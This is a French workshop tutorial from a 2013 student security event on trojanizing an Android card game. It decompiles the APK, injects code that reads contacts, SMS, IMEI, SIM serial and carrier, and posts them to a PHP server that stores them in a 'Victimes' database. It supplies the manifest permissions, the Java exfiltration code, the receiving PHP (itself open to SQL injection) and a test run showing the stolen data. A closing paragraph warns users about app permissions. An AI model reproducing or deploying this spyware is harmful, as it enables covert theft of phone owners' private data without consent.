SECURIDAY 2013 Cyber War



Documents pareils
Création d'un site dynamique en PHP avec Dreamweaver et MySQL

SECURIDAY 2013 Cyber War

Installation locale de JOOMLA SEPIA

Interface Android pour la consultation de données envoyées par un capteur

Reversing Android. Aïe, robot...

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Manuel d'installation de Joomla 1.7

SECURIDAY 2013 Cyber War

TUTORIEL: INSTALLATION D'UN SERVEUR LOCAL SOUS WINDOWS 7 POUR APPINVENTOR version du 06/04/2013

Android et le Cloud Computing

INSTALLATION ET CONFIGURATION D'UN SERVEUR WEB SUR MAC OS X

Gestion d'un parc informatique avec OCS INVENTORY et GLPI

TP réseau Android. Bidouilles Tomcat. a) Installer tomcat : il suffit de dézipper l'archive apache-tomcat windowsx64.zip.

DUBREUIL Raphaël VERNET Antoine RAPPORT PROJET DE FIN D'ETUDES BORNE INTELLIGENTE HETEROGENE

Projet Viticulture - TP 3 : bases de données distantes BTS Services informatiques aux organisations

Programmation Web. Introduction

WordPress :: Migrer son site du local vers le serveur en ligne

TP architecture N-tiers en Java EE ou Java EE, Android : la synthèse. Le serveur GereCompteBancaireServlet

TP Composants Java ME - Java EE. Le serveur GereCompteBancaireServlet

Microsoft OSQL OSQL ou l'outil de base pour gérer SQL Server

Guide d'installation

Traitement de données

Stockage du fichier dans une table mysql:

SYNC FRAMEWORK AVEC SQLITE POUR APPLICATIONS WINDOWS STORE (WINRT) ET WINDOWS PHONE 8

Note : Ce tutoriel a été réalisé sur GNU/Linux (Ubuntu) avec un serveur LAMP installé en local.

Diffuser un contenu sur Internet : notions de base... 13

CREATION WEB DYNAMIQUE

Mysql avec EasyPhp. 1 er mars 2006

Tutoriel Drupal version 7 :

I. MySQL : Serveur et SGBD

Mise en oeuvre d'une base de données mono-utilisateur avec SQLite

Transfert d un site local vers un serveur. NPDS REvolution 13. Rédaction : Axel Relecture : Dev & Jpb

Installation et prise en main

INTRODUCTION A JAVA. Fichier en langage machine Exécutable

BTS SIO Dossier BTS. PURCHLA Romain

Département Génie Informatique

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

Etude de cas : PGE JEE V2

Sauvegarde Android

POVERELLO KASONGO Lucien SIO 2, SISR SITUATION PROFESSIONNELLE OCS INVENTORY NG ET GLPI

Documentation pour administrateur Application AER

RMI le langage Java XII-1 JMF

Comment Connecter une Base de Données MySQL via un Driver JDBC Avec OpenOffice.org

JOnAS Day 5.1. Outils de développements

ECLIPSE ET PDT (Php development tools)

Annexe 10 - Procédure pour créer un Jar

Manuel logiciel client for Android

OFF OF R F E R E DE D E S TA T G A E G 02/04/09

UwAmp. Serveur d'evaluation

SECURIDAY 2013 Cyber War

Groupe Eyrolles, 2003, ISBN : X

Pratique et administration des systèmes

OUAPI Guide d installation Outil d administration de parc informatique. Documentation d installation et de paramétrage

DOSSIER D'ACTIVITES SUR LE PHP N 03 Créer une base de données MySQL avec PHPMyAdmin

Utilisation de JAVA coté Application serveur couplé avec Oracle Forms Hafed Benteftifa Novembre 2008

Mysql. Les requêtes préparées Prepared statements

Formation WinDev Mobile

Guide d installation de Gael

Thème : Création, Hébergement et référencement d un site Web

Raspberry pi : Développer une petite application web sur Raspberry

Manuel de l'utilisateur d'intego VirusBarrier Express et VirusBarrier Plus

Classe ClInfoCGI. Fonctions membres principales. Gestion des erreurs

Utilisation de GCM (Google Cloud Messaging) pour Android. Partie préliminaire éventuelle : Création d'un AVD lisant GCM

- TP Programmation Android - NFA024 Conservatoire National des Arts et Métiers

Serveur de travail collaboratif Michaël Hoste -

TP 7, 8 & 9 : Installation et Gestion de GLPI et Télédéploiement SISR 1 HUBERT JULIEN LABBE RICHARD DAY MICKAEL DOGNY CHRISTOPHE

Réf. : S2I-CIELL2-PI-1.0. Version : 1.0. Auteurs : S2I-TOULON

Afin d'éviter un message d'erreur au démarrage du service Apache du type :

Rafraichissement conditionné d'une page en.net

Proxy et reverse proxy. Serveurs mandataires et relais inverses

Point sur les solutions de développement d apps pour les périphériques mobiles

Dossier. Développer en Java sur téléphone mobile. Benjamin Damécourt UFR SITEC Master 2 EESC 11 janvier 2012

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

HP Data Protector Express Software - Tutoriel 3. Réalisation de votre première sauvegarde et restauration de disque

IIS 6 - PHP5 - MySQL phpmyadmin 2.6

Introduction à Eclipse

Le serveur web Apache

Test de HSQLDB et Comparatif avec Sqlite

Eclipse atelier Java

Installation d'un serveur FTP géré par une base de données MySQL

Installation des outils OCS et GLPI

Réussir. son site e-commerce. avecoscommerce

La base de données XML exist. A. Belaïd

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

WinTask x64 Le Planificateur de tâches sous Windows 7 64 bits, Windows 8/ bits, Windows 2008 R2 et Windows bits

Documentation Projet ASR : Construction d un système réparti multi-échelle

FORMATION PcVue. Mise en œuvre de WEBVUE. Journées de formation au logiciel de supervision PcVue 8.1. Lieu : Lycée Pablo Neruda Saint Martin d hères

Dans cette Unité, nous allons examiner

Raja Bases de données distribuées A Lire - Tutoriel

Hébergement WeboCube. Un système performant et sécurisé. Hébergement géré par une équipe de techniciens

Corrigé de l'atelier pratique du module 8 : Implémentation de la réplication

Manuel de Documents. Introduction Format des fichiers lus Fonctions supplémentaires Copier et partager des fichiers...

Sage CRM. Sage CRM 7.3 Guide du portable

Transcription:

Club de la Sécurité Informatique à l INSAT Dans le cadre de la 3ème édition de la journée nationale de la sécurité informatique SECURIDAY 2013 Cyber War SECURINETS Présente Formateurs: 1. Emna BEY 2. Manel ABDELGHANI 3. Emna AKROUT 4. Firas HACHICHA

Table des matières I. Présentation de l'atelier :... 1 II.Présentation des outils utilisés :... 1 i. Dex2jar... 1 ii. Jd-gui... 1 iii. Apktool... 1 iv. Eclipse... 1 v. Android SDK... 1 vi. EasyPHP... 1 vii. Notepad++... 1 III.Topologie du réseau :... 2 IV.Configuration des outils :... 2 V.Développement :... 3 ii. Création du serveur :... 5 iii. Développement du malware :... 7 V.Scénario de test :... 8 VI.Conclusion :... 10 Page 1

I. Présentation de l'atelier : L'atelier Attaque Mobile consiste à ajouter un malware à une application Androïde existante. Ce malware permet de voler des informations se trouvant sur le téléphone de la victime (contacts, sms, nom de l'operateur, IMEI...). II. Présentation des outils utilisés : i. Dex2jar Cet outil permet de convertir des fichiers.dex en fichiers.class, sachant que le.dex est le format d'exécutable de Dalvik. Donc, dex2jar permet de régénérer le bytecode Java. ii. Jd-gui C est un utilitaire autonome graphique qui affiche les codes sources Java à partir des fichiers.class. Vous pouvez parcourir le code source reconstruit avec le Jd-gui pour un accès instantané aux méthodes et champs. iii. Apktool C est un outil de reverse engineering qui intègre Smali (assembleur) et Baksmali (désassembleur) iv. Eclipse C est un environnement de développement intégré libre, extensible, universel et polyvalent qui permet la réalisation de logiciels, de modélisation, de conception, de test et de reporting. v. Android SDK C est un kit de développement d applications Android qui inclut un débogueur, des bibliothèques logicielles, un émulateur basé sur QEMU, de la documentation, des exemples de code et des tutoriaux. vi. EasyPHP C est une plateforme de développement Web, permettant de faire fonctionner localement (sans se connecter à un serveur externe) des scripts PHP. EasyPHP n'est pas en soi un logiciel, mais un environnement comprenant deux serveurs : PHP. Un serveur web Apache Un serveur de bases de données MySQL vii. Notepad++ C est un éditeur de code source qui prend en charge plusieurs langages notamment le Page 1

III. Topologie du réseau : L'Androphone communique avec le serveur à travers Internet. pendant l'exécution de l'application contenant le malware il lui envoie les informations volées du téléphone. Le serveur les enregistre dans la base de donnée. IV. Configuration des outils : Vous pouvez télécharger les outils mentionnés précédemment à partir des liens suivants: Dex2jar : https://code.google.com/p/dex2jar/ Jd-gui : http://java.decompiler.free.fr/?q=jdgui Apktool : https://code.google.com/p/android-apktool/ Android SDK (contenant Eclipse): https://developer.android.com/sdk/index.html EasyPHP : http://www.easyphp.org/download.php Pour pouvoir utiliser Dex2jar, Jd-gui, Apktool directement, c'est à dire sans avoir à mentionner leurs chemins d'accès à chaque fois, il faut ajouter ces derniers à la fin de la variable d'environnement Path. Par exemple pour ajouter dex2jar, il faut aller dans Paramètres système avancés, Variables d' environnement et ensuite modifier la variable système Path. Page 2

V. Développement : i. Reverse Engineering : Pour commencer, il faut choisir une application à laquelle on pourra ajouter notre malware. Ici nous travaillerons sur "The Chkobba". Pour avoir accès au code de cette application, nous devons faire un Reverse Engineering à l aide des outils Dex2jar Jd-gui et Apktool comme suit: 1. Sur l'invite de commandes, on accède au dossier contenant l'application sur laquelle on veut effectuer un reverse engineering et on utilise dex2jar pour régénérer le byte code Java à partir du.apk. 2. On accède au code obtenu à l aide du désassembleur Jd-gui. Page 3

3. On enregistre le projet obtenu. 4. Maintenant qu'on a le code, on récupère les ressources en désassemblant l'application grâce à Baksmali qui est intégré dans Apktool. 5. On récupère le dossier res qui contient les ressources de l'application et qui se trouve dans le dossier généré par l'étape précédente. Page 4

6. On rassemble le tout dans un projet de type Android Application sous Eclipse. Attention : Le mécanisme de reverse engineering génère souvent des erreurs d'interprétation. ii. Création du serveur : On crée, maintenant, le serveur qui recevra les données envoyées par le téléphone. On utilisera pour ce faire EasyPHP: 1. On accède au PHPMyAdmin à partir de la page d'accueil de EasyPHP. Page 5

2. On crée une nouvelle base de données qu on nommera Victimes. 3. On ajoute, à la base Victimes, la table contacts contenant un identifiant, le nom du contact et son numéro de téléphone. Page 6

4. On crée de la même façon une table Messages qui contiendra les messages et leurs émetteurs et une table InfosTel qui contiendra les informations sur le téléphone (IMEI, numéro de série de la carte SIM et l opérateur téléphonique). 5. Pour finir, sur Notepad++, on crée une page PHP AjoutInfos.php qui recevra les informations du téléphone et les enregistrera dans la base de données Victimes. cidessous,le code commenté de l'ajout des contacts ( l'ajout des messages et des autres informations se fera de la même façon). //création d'une connexion à la base $connexion = mysql_connect('localhost', 'root', '') OR die('erreur de connexion'); mysql_select_db('infovictime') OR die('sélection de la base impossible'); /* tester si la chaine "contacts" envoyée par le telephone n'est pas vide ou nulle */ if (isset($_post['contacts'])) { /*division de la chaine reçue sous la forme nom1:numerotel1;nom2:numerotel2;... selon le separateur ";" */ $contacts = explode(';',$_post['contacts']); foreach($contacts as $contact) { if ( $contact!= ""){ /* division de la chaine "contact" qui est sous la forme nom:numerotel selon le seaprateur ":" */ $infos = explode(':', $contact); $nom = $infos[0]; $tel = $infos[1]; /* lancement de la requete d'enregistrement dans la table Contacts */ $requete ='insert into Contacts values (NULL,"'.$nom.'","'.$tel.'")'; mysql_query ($requete); } } } 6. Il faut ensuite placer cette page sous le répertoire www se trouvant sous le dossier d installation de EasyPHP. iii. Développement du malware : Maintenant que nous avons le code de l application et le serveur qui enregistre les données, on s attaque au développement du malware. 1. Tout d'abord, il faut ajouter les permission d'accès au contacts, SMS, état du téléphone et Internet dans le fichier AndroidManifest.xml. Page 7

<uses-permission android:name="android.permission.read_contacts"/> <uses-permission android:name="android.permission.internet"/> <uses-permission android:name="android.permission.read_sms"/> <uses-permission android:name="android.permission.read_phone_state"/> 2. On ajoute, ensuite, le code qui permet l accès aux données par exemple pour récupérer l IMEI on mettra : TelephonyManager tmanager = (TelephonyManager) getsystemservice(context.telephony_service); String imei = tmanager.getdeviceid(); 3. Pour l envoi de l IMEI au serveur, on fera : String url = "http://192.168.15.1/ajoutinfos.php"; ArrayList<NameValuePair> namevaluepairs = new ArrayList<NameValuePair>(); namevaluepairs.add(new BasicNameValuePair("imei", imei)); try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost(url); httppost.setentity(new UrlEncodedFormEntity(nameValuePairs)); HttpResponse response = httpclient.execute(httppost); } catch (Exception e) { Log.e("log_tag","Error in http connection " + e.tostring()); } V. Scénario de test : Sur l Androphone nous avons les Contacts et les SMS suivants : Page 8

On installe «The Chkobba.apk» sur l Androphone et on l exécute. Le jeu commence normalement jusqu au clic sur le bouton GO qui envoie les contacts, les SMS, l IMEI, l operateur et le numéro de série au serveur. Le serveur enregistre les informations reçues dans la base de données Victimes où nous aurons désormais: Dans la table Contacts : Dans la table InfosTel : Page 9

Dans la table Messages : VI. Conclusion : La plupart d entre nous possèdent un Smartphone, plus précisément un Androphone, et téléchargent surement pas mal d applications. Il faut savoir que ces applications s octroient des droits plus ou moins importants et peuvent aller jusqu à empiéter sur votre vie privée comme nous venons de le faire lors de ce tutoriel en récupérant les contacts, SMS et autres informations sans la connaissance de l'utilisateur. Il existe, tout de même, des applications pour remédier à cela et qui vous permettant de contrôler les autorisations de vos applications telles que: LBE PRIVACY GUARD App Permission Watcher Permissionn Friendly Apps et bien d'autres. Page 10